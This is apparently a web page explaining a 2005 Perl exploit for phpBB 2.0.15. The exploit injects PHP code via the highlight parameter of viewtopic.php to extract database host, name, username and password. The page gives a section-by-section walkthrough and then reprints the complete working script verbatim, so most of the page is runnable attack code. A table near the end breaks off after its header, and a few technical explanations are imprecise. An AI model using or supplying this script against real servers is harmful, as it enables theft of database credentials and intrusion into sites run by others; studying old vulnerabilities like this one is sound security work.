phpBB 2.0.15 Database Authentication Details Exploit Explained

phpBB 2.0.15 Database Authentication Details Exploit Explained
What this paper is
This paper details a vulnerability in phpBB version 2.0.15 that allows an attacker to retrieve database connection credentials. The exploit leverages a flaw in the viewtopic.php script's handling of the highlight parameter. By injecting specially crafted PHP code into this parameter, an attacker can cause the server to execute arbitrary PHP functions, specifically printf, which then reveals sensitive database configuration details.
Simple technical breakdown
The core of the exploit lies in how phpBB processes the highlight parameter when displaying a thread. The highlight parameter is intended to specify terms to be highlighted within the thread's content. However, in version 2.0.15, this parameter is not properly sanitized before being used in a way that can execute PHP code.
The exploit crafts a URL that includes a malicious highlight parameter. This parameter contains PHP code that uses printf to output specific variables ($dbhost, $dbname, $dbuser, $dbpasswd) surrounded by a unique delimiter. When phpBB processes this request, it inadvertently executes the injected PHP code. The output of the printf function, containing the database credentials, is then embedded within the HTML response sent back to the attacker.
The Perl script acts as a client to automate this process. It constructs the malicious URL, sends an HTTP GET request to the target phpBB installation, and then parses the response to extract the database credentials that were printed by the injected PHP code.
Complete code and payload walkthrough
The provided Perl script is designed to exploit the vulnerability. Let's break it down section by section.
#!/usr/bin/perl
# tested and working /str0ke
# ********************************************************************
# **********************************************************************
# **** **
# *** ****** ******************* **
# *** *** **** *********************** **
# *** *** **** **** * *** ***** **
# *** *** *** *** *** * ** ** ** **
# *** *** *** ** ** ** ** **
#*** *** *** *** ** ** ***** **
#** *** *** **** ** ** ** **
#** *** *** *** ******* ******* ** *** ** **
#** *** *** *** ** *** *** ** ** ** ** **
#** *** *** *** ** *** *** *** ***** **
#** *** *** *** ** *** *** **
#** **** *** **** *** *** **
#** ******* **** ******** *********************************** **
#** *** **
#** *** **
#** **
#** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability **
#** This exploit gives the user all the details about the database **
#** connection such as database host, username, password and **
#** database name. **
#** **
#** Written by SecureD, gvr.secured<AT>gmail<DOT>com,2005 **
#** **
#** Greetings to GvR, Jumento, PP, CKrew & friends **
#** **
#*****************************************************************************
# ***************************************************************************
use IO::Socket;#!/usr/bin/perl: This is the shebang line, indicating that the script should be executed using the Perl interpreter.- Comments (
#): The extensive ASCII art and comments provide context about the vulnerability, its author, and its purpose. They state that this exploit targets phpBB 2.0.15'sviewtopic.phpfor Remote Code Execution, specifically to obtain database authentication details. use IO::Socket;: This line imports theIO::Socketmodule, which is essential for creating network connections (specifically TCP sockets) to communicate with the target web server.
print "+-----------------------------------------------------------------------+\r\n";
print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
print "| By SecureD gvr.secured<AT>gmail<DOT>com |\r\n";
print "+-----------------------------------------------------------------------+\r\n";
if (@ARGV < 3)
{
print "Usage:\r\n";
print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
print "SERVER - Server where PhpBB is installed.\r\n";
print "DIR - PHPBB directory or / for no directory.\r\n";
print "THREADID - Id of an existing thread.\r\n";
print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
print " Use this when a thread needs authentication for viewing\r\n";
print " You can use Firefox in combination with \"Live HTTP\r\n";
print " Headers\" to get this cookiestring.\r\n\r\n";
print "Example 1 (with cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
print "Example 2 (without cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
exit();
}print ...: These lines print a header and usage instructions to the console.if (@ARGV < 3): This checks if the number of command-line arguments (@ARGV) is less than 3. The script requires at leastSERVER,DIR, andTHREADID.print "Usage: ...": If the required arguments are not provided, it prints detailed usage instructions, explaining each parameter (SERVER,DIR,THREADID,COOKIESTRING) and providing examples.exit();: If the arguments are insufficient, the script terminates.
$serv = $ARGV[0];
$dir = $ARGV[1];
$threadid = $ARGV[2];
$cookie = $ARGV[3];
$serv =~ s/http:\/\///ge;
$delimit = "GvRSecureD";
$sploit = $dir . "viewtopic.php?t=";
$sploit .= $threadid;
$sploit .= "&highlight='.printf($delimit.";
$sploit .= "\$dbhost.";
$sploit .= "$delimit.";
$sploit .= "\$dbname.";
$sploit .= "$delimit.";
$sploit .= "\$dbuser.";
$sploit .= "$delimit.";
$sploit .= "\$dbpasswd.";
$sploit .= "$delimit).'";$serv = $ARGV[0];,$dir = $ARGV[1];,$threadid = $ARGV[2];,$cookie = $ARGV[3];: These lines assign the command-line arguments to Perl variables.$cookiemight be undefined if not provided.$serv =~ s/http:\/\///ge;: This line uses a regular expression substitution (s///) to remove "http://" from the beginning of the$servvariable if it exists. Thegflag means global (replace all occurrences, though unlikely here) andemeans evaluate the replacement string (not used here, but often paired withs). This ensures the server address is just the hostname or IP.$delimit = "GvRSecureD";: This defines a unique string that will be used as a delimiter to easily parse the output later. The author's initials are incorporated.$sploit = $dir . "viewtopic.php?t=";: This starts building the exploit URL path. It concatenates the directory, the vulnerable script name (viewtopic.php), and the GET parametert=(thread ID).$sploit .= $threadid;: Appends the provided thread ID.$sploit .= "&highlight='.printf($delimit.";: This is the crucial part. It appends thehighlightparameter.&highlight=starts the parameter.'.closes the current PHP string context and starts a new one.printf($delimit.is the start of the injected PHP code.printfis a function that outputs formatted strings. The first argument is the format string, and subsequent arguments are values to be formatted.
$sploit .= "\$dbhost.";,$sploit .= "$delimit.";,$sploit .= "\$dbname.";, etc.: These lines append the database configuration variables ($dbhost,$dbname,$dbuser,$dbpasswd) and the delimiter to theprintfformat string. The backslashes before the dollar signs (\$) are important. In Perl,\escapes special characters. When this string is later interpreted by the web server's PHP engine, the\will likely be removed, and the dollar signs will be interpreted as variable references. Theprintffunction will then attempt to print the values of these variables.$sploit .= "$delimit).'";: This closes theprintffunction call and the injected PHP code. The.'closes the PHP string and the single quote'closes thehighlightparameter's value.
The complete $sploit string will look something like:/viewtopic.php?t=123&highlight='.printf("GvRSecureD\$dbhost.GvRSecureD\$dbname.GvRSecureD\$dbuser.GvRSecureD\$dbpasswd.GvRSecureD").'
When this URL is processed by phpBB 2.0.15, the highlight parameter's value is evaluated as PHP code. The printf function will then output the delimiter, followed by the value of $dbhost, followed by the delimiter, and so on, for all the database credentials.
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";
print "[+] Connecting OK\n";
sleep(1);
print "[+] Sending exploit ";
print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";$sock = IO::Socket::INET->new(...) or die ...: This attempts to establish a TCP connection to the target server ($serv) on port 80 (standard HTTP). If the connection fails, it prints an error message and exits.print "[+] Connecting OK\n";: Informs the user that the connection was successful.sleep(1);: Pauses execution for 1 second.print "[+] Sending exploit ";: Indicates that the exploit request is about to be sent.print $sock "GET $sploit HTTP/1.1\r\n";: Sends the HTTP GET request. It uses the constructed$sploitURL.print $sock "Host: $serv\r\n";: Sets theHostheader, which is required for HTTP/1.1.if ( defined $cookie) { print $sock "Cookie: $cookie \r\n"; }: If a cookie string was provided as a command-line argument, it is included in theCookieheader. This is important if the target thread requires authentication to be viewed.print $sock "Connection: close\r\n\r\n";: Sets theConnectionheader toclose, indicating that the server should close the connection after sending the response. The double\r\nsignifies the end of the HTTP headers.
$succes = 0;
while ($answer = <$sock>) {
$delimitIndex = index $answer, $delimit;
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
if ($urlIndex < 0){
$answer = substr($answer, length($delimit));
$length = 0;
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push(@array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
}
}
}
}
close($sock);$succes = 0;: Initializes a flag to track if the exploit was successful.while ($answer = <$sock>) { ... }: This loop reads the HTTP response from the socket line by line.$delimitIndex = index $answer, $delimit;: It searches for the custom delimiter (GvRSecureD) within the current line of the response.if ($delimitIndex >= 0): If the delimiter is found, it means the injectedprintfoutput is likely present in this line or subsequent lines.$succes = 1;: Sets the success flag.$urlIndex = index $answer, "href";: Tries to find an "href" tag. This seems like an attempt to avoid parsing if the output is part of a link, though its exact purpose in this context is a bit unclear without more specific knowledge of phpBB's output for this vulnerability.if ($urlIndex < 0): If "href" is not found (meaning the output isn't part of a link that might confuse parsing).$answer = substr($answer, length($delimit));: Removes the initial delimiter from the start of the line.while (length($answer) > 0) { ... }: This inner loop processes the rest of the line (or potentially subsequent lines if the response is large and the delimiter appears multiple times) to extract the values between the delimiters.$nex = index($answer, $delimit);: Finds the next occurrence of the delimiter.if ($nex > 0): If another delimiter is found:push(@array, substr($answer, 0, $nex));: Extracts the substring between the start of$answerand the next delimiter and pushes it into the@array. This substring is expected to be one of the database credentials.$answer = substr($answer, $nex + length($delimit), length($answer));: Updates$answerto be the remaining part of the string after the delimiter.
else { $answer = ""; }: If no more delimiters are found on the current line, the inner loop terminates.
close($sock);: Closes the network socket.
if ($succes == 1) {
print "OK\n";
sleep(1);
print "[+] Database Host: " . $array[0] . "\n";
sleep(1);
print "[+] Database Name: " . $array[1] . "\n";
sleep(1);
print "[+] Username: " . $array[2] . "\n";
sleep(1);
print "[+] Password: " . $array[3] . "\n";
sleep(1);
} else {
print "FAILED\n";
}
# milw0rm.com [2005-07-03]if ($succes == 1): Checks if the success flag was set.print "OK\n";: Indicates successful retrieval of information.sleep(1);: Pauses for a second between printing each piece of information.print "[+] Database Host: " . $array[0] . "\n";(and similar lines for Name, Username, Password): Prints the extracted database credentials. The script assumes that the first element of@arrayis the host, the second is the database name, the third is the username, and the fourth is the password, based on the order they were printed by the injectedprintfstatement.
else { print "FAILED\n"; }: If the success flag is not set, it prints "FAILED", indicating that the exploit did not retrieve the database credentials.# milw0rm.com [2005-07-03]: A comment indicating the source and publication date of the exploit.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# tested and working /str0ke
# ********************************************************************
# **********************************************************************
# **** **
# *** ****** ******************* **
# *** *** **** *********************** **
# *** *** **** **** * *** ***** **
# *** *** *** *** *** * ** ** ** **
# *** *** *** ** ** ** ** **
#*** *** *** *** ** ** ***** **
#** *** *** **** ** ** ** **
#** *** *** *** ******* ******* ** *** ** **
#** *** *** *** ** *** *** ** ** ** ** **
#** *** *** *** ** *** *** *** ***** **
#** *** *** *** ** *** *** **
#** **** *** **** *** *** **
#** ******* **** ******** *********************************** **
#** *** **
#** *** **
#** **
#** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability **
#** This exploit gives the user all the details about the database **
#** connection such as database host, username, password and **
#** database name. **
#** **
#** Written by SecureD, gvr.secured<AT>gmail<DOT>com,2005 **
#** **
#** Greetings to GvR, Jumento, PP, CKrew & friends **
#** **
#*****************************************************************************
# ***************************************************************************
use IO::Socket;
print "+-----------------------------------------------------------------------+\r\n";
print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
print "| By SecureD gvr.secured<AT>gmail<DOT>com |\r\n";
print "+-----------------------------------------------------------------------+\r\n";
if (@ARGV < 3)
{
print "Usage:\r\n";
print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
print "SERVER - Server where PhpBB is installed.\r\n";
print "DIR - PHPBB directory or / for no directory.\r\n";
print "THREADID - Id of an existing thread.\r\n";
print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
print " Use this when a thread needs authentication for viewing\r\n";
print " You can use Firefox in combination with \"Live HTTP\r\n";
print " Headers\" to get this cookiestring.\r\n\r\n";
print "Example 1 (with cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
print "Example 2 (without cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
exit();
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$threadid = $ARGV[2];
$cookie = $ARGV[3];
$serv =~ s/http:\/\///ge;
$delimit = "GvRSecureD";
$sploit = $dir . "viewtopic.php?t=";
$sploit .= $threadid;
$sploit .= "&highlight='.printf($delimit.";
$sploit .= "\$dbhost.";
$sploit .= "$delimit.";
$sploit .= "\$dbname.";
$sploit .= "$delimit.";
$sploit .= "\$dbuser.";
$sploit .= "$delimit.";
$sploit .= "\$dbpasswd.";
$sploit .= "$delimit).'";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";
print "[+] Connecting OK\n";
sleep(1);
print "[+] Sending exploit ";
print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";
$succes = 0;
while ($answer = <$sock>) {
$delimitIndex = index $answer, $delimit;
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
if ($urlIndex < 0){
$answer = substr($answer, length($delimit));
$length = 0;
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push(@array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
}
}
}
}
close($sock);
if ($succes == 1) {
print "OK\n";
sleep(1);
print "[+] Database Host: " . $array[0] . "\n";
sleep(1);
print "[+] Database Name: " . $array[1] . "\n";
sleep(1);
print "[+] Username: " . $array[2] . "\n";
sleep(1);
print "[+] Password: " . $array[3] . "\n";
sleep(1);
} else {
print "FAILED\n";
}
# milw0rm.com [2005-07-03]